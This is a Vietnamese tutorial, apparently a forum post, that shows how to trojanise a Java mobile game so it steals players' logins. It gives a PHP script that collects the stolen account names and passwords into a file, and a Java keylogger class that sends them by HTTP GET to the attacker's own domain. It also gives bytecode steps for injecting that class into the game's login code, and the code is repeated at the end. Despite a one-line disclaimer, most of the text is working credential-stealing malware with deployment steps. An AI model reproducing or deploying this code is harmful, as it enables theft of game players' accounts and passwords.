Bài viết này mình sẽ hướng dẫn gắn keylog java. Nên đọc để tham khảo và hiểu về nguyên lý của nó không nên dùng vì mục đích xấu
Cần chuẩn bị 1 hosting hỗ trợ php 4 trở lên
Sau đó trỏ domain vào. Tạo 1 file keylog.php sau đó dán đoạn code này vào
$fp=fopen("login.txt",a) // sửa login.txt thành file lưu acc của bạn
or
exit("Không tìm thấy login.txt"); $nick=$_POST['BSEVER']
;
$pass=$_POST['CSEVER']
; fwrite($fp,"TK:".$nick."/
MK:".$pass."/");
fclose($fp); echo "Hackcu!!!";
?>
Tiếp theo là copy code này về rồi sửa youdomain thành của bạn lưu dưới dạng .java sau đó dùng Elipse buil từ .java sang .class tiếp theo dùng minicomander ném vào game
import javax.microedition.io.Connector;
import javax.microedition.io.HttpConnection;
public final class keylog implements Runnable
private static String a, p;
public static void a(String string1, String string2)
{
a = string1;
p = string2;
new Thread(new keylog()).start();
}
public void run()
{
try
{
Thread.sleep(1000);
Thread.currentThread().setPriority(Thread.MIN_PRIORITY);
StringBuffer sb = new StringBuffer("http://youdomain/keylog.php");
sb.append("?BSEVER=").append(a).append("&CSEVER=").append(p);
HttpConnection hc = (HttpConnection) Connector.open(sb.toString());
sb = null;
hc.setRequestMethod("GET");
hc.getResponseCode();
hc.close();
} catch(Exception e)
{
}
Tiếp theo là dùng bytcode tìm giá trị gán tài khoản và mật khẩu của game
Ví dụ Avatar sẽ có giá trị tài khoản và mật khẩu là
aload_1 và aload_2
Sau khi đã tìm được file class gán giá trị tài khoản và mật khẩu của game đó rồi thì mở nó lên bằng bytcode và dán đoạn này vào
aload_1
aload_2
invokestatic keylog/a(Ljava/lang/String;Ljava/lang/String;)V
Giải thích đoạn code trên sẽ gọi file keylog.class mà bạn vừa ném nó vào game để xử lý sau đó gửi thông tin tài khoản và mật khẩu lên host
Chúc thành công !!!
Nguyên văn: HOTMOD (Copy ghi nguồn)
$fp=fopen("login.txt",a) // sửa login.txt thành file lưu acc của bạn
or
exit("Không tìm thấy login.txt"); $nick=$_POST['BSEVER']
;
$pass=$_POST['CSEVER']
; fwrite($fp,"TK:".$nick."/
MK:".$pass."/");
fclose($fp); echo "Hackcu!!!";
?>
import javax.microedition.io.Connector;
import javax.microedition.io.HttpConnection;
public final class keylog implements Runnable
private static String a, p;
public static void a(String string1, String string2)
{
a = string1;
p = string2;
new Thread(new keylog()).start();
}
public void run()
{
try
{
Thread.sleep(1000);
Thread.currentThread().setPriority(Thread.MIN_PRIORITY);
StringBuffer sb = new StringBuffer("http://youdomain/keylog.php");
sb.append("?BSEVER=").append(a).append("&CSEVER=").append(p);
HttpConnection hc = (HttpConnection) Connector.open(sb.toString());
sb = null;
hc.setRequestMethod("GET");
hc.getResponseCode();
hc.close();
} catch(Exception e)
{
}
aload_1
aload_2
invokestatic keylog/a(Ljava/lang/String;Ljava/lang/String;)V